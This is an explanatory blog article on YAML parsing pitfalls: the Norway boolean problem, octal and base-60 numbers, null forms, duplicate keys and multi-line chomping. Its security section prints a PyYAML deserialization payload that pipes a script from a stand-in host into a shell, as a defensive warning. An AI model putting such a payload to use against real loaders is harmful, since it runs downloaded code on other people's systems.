YAML's Sharpest Edges: The Norway Problem and Friends
YAML was designed to be human-friendly, and it succeeds — until an unquoted country code for Norway becomes the boolean false, a version number loses a digit, or a phone number turns into base-60 arithmetic. These are not parser bugs. They are the specification working as written.
The short version
- Under YAML 1.1 — still the default in many parsers —
no,off,yandnare booleans. Norway's country codeNObecomesfalse. 1.10parses as the number 1.1. Version strings need quotes.- Leading zeros can trigger octal parsing, so
0755becomes 493 and08may fail outright. - Always use
yaml.safe_load(). The unsafe loader can construct arbitrary Python objects.
First, which YAML are you using?
Most YAML confusion traces back to a version mismatch nobody chose deliberately. YAML 1.1 was published in 2005; YAML 1.2 arrived in 2009 and deliberately tightened type resolution, partly to make JSON a strict subset of YAML.
The catch is that widely used libraries did not all follow. PyYAML — by far the most common Python implementation — implements YAML 1.1 by default and has done for its entire life. So the behaviours below are not historical curiosities; they are live in production today.
| Implementation | Spec version |
|---|---|
PyYAML (yaml.safe_load) | 1.1 |
| ruamel.yaml | 1.2 by default |
| js-yaml (v4+) | 1.2 |
Go gopkg.in/yaml.v3 | 1.2 (with some 1.1 leniency) |
| SnakeYAML (Java) | 1.1 historically, 1.2 in recent engines |
The Norway problem
YAML 1.1 resolves an impressively long list of bare words to booleans:
true: y Y yes Yes YES true True TRUE on On ON
false: n N no No NO false False FALSE off Off OFF
Which produces the famous failure. A list of ISO country codes:
countries:
- GB
- FR
- DE
- NO # Norway
- SE
parses in YAML 1.1 as:
{"countries": ["GB", "FR", "DE", False, "SE"]}
Norway has become false. Downstream, a country lookup fails, a switch statement falls through to a default, or a database insert writes a zero. Nothing errored — the data is simply wrong in a way that is nearly invisible in a diff.
The same applies to any field that can legitimately contain those tokens. Single-letter answers (y/n) in a survey schema. Chemical element symbols — N for nitrogen, Y for yttrium. A `state` field containing ON for Ontario. A serial number that happens to read OFF.
Quote every string whose value is not under your control, and quote every string that could plausibly be read as another type. "NO" is unambiguously a string in every YAML version. Bare NO is a coin flip decided by someone else's library version.
Numbers that quietly change shape
Version strings lose precision
version: 1.10 # → 1.1 (a float, trailing zero gone)
version: "1.10" # → "1.10" correct
version: 1.2.3 # → "1.2.3" a string, because it is not a valid number
This one is nastier than it looks because it is inconsistent: 1.2.3 stays a string (two dots cannot be a float), but 1.10 becomes a float and loses its trailing zero. So a config that works fine for 1.2.3 breaks the moment someone pins 1.10, and the error surfaces far from the YAML file.
Leading zeros and octal
mode: 0755 # YAML 1.1 → 493 (octal!) YAML 1.2 → 755 (decimal)
mode: 0o755 # YAML 1.2 octal → 493
zip: 01234 # → 668 under 1.1 octal rules
zip: "01234" # → "01234" correct
month: 08 # 1.1: error - 8 is not a valid octal digit
File permissions in YAML are a genuine trap: Ansible and Kubernetes manifests both deal in modes like 0644, and whether that means 420 or 644 depends on the parser. Both tools document quoting it as a string for exactly this reason.
Sexagesimal — base 60
YAML 1.1 supports colon-separated base-60 integers, intended for durations:
duration: 1:30 # → 90 (1×60 + 30)
time: 22:22 # → 1342 (22×60 + 22)
mac: 00:1B:44:11:3A # → string (letters make it unparseable as base 60)
So 22:22 as a time-of-day value silently becomes 1342. YAML 1.2 removed sexagesimal entirely, but PyYAML still honours it. Any colon-separated numeric value — times, durations, partial MAC addresses, version ranges — must be quoted.
Null has five spellings
a: null
b: Null
c: NULL
d: ~
e: # empty value is also null
f: "" # this one is an empty string, not null
The distinction between e and f matters constantly. In Kubernetes and most schema validators, a null field means "unset — apply the default" while an empty string means "explicitly set to nothing". Deleting the value after a colon and deleting the value and providing "" are different operations with different effects.
Duplicate keys: invalid, yet accepted
The specification says mapping keys must be unique. In practice:
service:
port: 8080
port: 9090 # spec violation
PyYAML silently keeps the last value. js-yaml throws. Go's yaml.v3 errors in strict mode. So the same file produces port 9090, an exception, or a rejection depending on the runtime — and the most common Python behaviour is the silent one. This matters when config files are assembled from templates or concatenated fragments, where a duplicate is easy to introduce and impossible to spot in review.
See exactly what your YAML parses to
Layerbit's YAML ↔ JSON Converter shows the parsed structure as JSON, where types are explicit and unambiguous. If a string became a boolean or a version lost a digit, it is immediately visible. Everything runs locally in your browser.
Multi-line strings and the chomping indicators
YAML offers two block styles and three chomping modes, and the combination decides exactly which newlines survive:
| Form | Newlines inside | Trailing newline |
|---|---|---|
| literal | Preserved | Exactly one |
|- literal, strip | Preserved | None |
|+ literal, keep | Preserved | All of them |
> folded | Folded to spaces | Exactly one |
>- folded, strip | Folded to spaces | None |
The one that causes real incidents is a trailing newline in a secret. An API key written as:
apiKey: |
sk_live_abc123
produces "sk_live_abc123\n". The request fails authentication, the error says "invalid key", and you spend an hour checking the key character by character — all correct — because the problem is the invisible character at the end. Use |- for anything that must not carry a trailing newline, or simply quote it inline.
Quoting styles behave differently
a: 'it''s \n literal' # single: only '' is escaped; \n stays two characters
b: "line\nbreak" # double: \n becomes a real newline
c: bare string # no escapes processed at all
Single quotes are the safest default for opaque values: no escape processing means no surprises from stray backslashes in Windows paths or regex patterns.
Loading YAML is a security decision
YAML supports typed tags, and some loaders will happily instantiate objects from them:
!!python/object/apply:os.system ["curl evil.sh | sh"]
Passed to PyYAML's yaml.load() with the unsafe loader, that executes. This is why yaml.load() without an explicit Loader= has been deprecated and warns loudly — but plenty of older code and tutorials still call it.
Use yaml.safe_load() — or yaml.load(text, Loader=yaml.SafeLoader) — for any YAML you did not author yourself. Treat a YAML file from a user upload, a webhook, or a third-party repository exactly as you would treat a pickle: as code, not data.
There is also a denial-of-service angle. Anchors and aliases allow a document to reference itself repeatedly, and nesting those references multiplies the expansion — the "billion laughs" attack, in a few hundred bytes of input. Most hardened parsers now cap alias expansion, but if you accept YAML from outside, impose a size limit and a parse timeout as well.
A YAML review checklist
- Quote every value that is semantically a string, especially two-letter codes, versions, modes, times and IDs.
- Quote anything with a leading zero.
- Quote anything containing a colon followed by digits.
- Use
|-for secrets and tokens so no trailing newline sneaks in. - Spaces for indentation — tabs are forbidden by the spec and produce baffling errors.
safe_load, always, for input you did not write.- Round-trip through JSON in review: if the types are not what you expected, fix the YAML now.
That last step is the highest-leverage habit. YAML's type inference is invisible in the source file and explicit in JSON, so converting is the fastest way to see what a parser actually built. It is the difference between reading what you meant and reading what you wrote.
Human-friendly is not the same as unambiguous
None of this makes YAML a bad format. Being able to write a config file without counting brackets is a real benefit, and the comment support alone justifies it over JSON for hand-edited files. But the friendliness comes from guessing what you meant, and every guess is a place where the format can be wrong in a way that does not look wrong.
Quote defensively, pin your parser's spec version if you can, and verify the parsed types rather than trusting the source text. The cost is a few extra quotation marks; the alternative is finding out about Norway in production.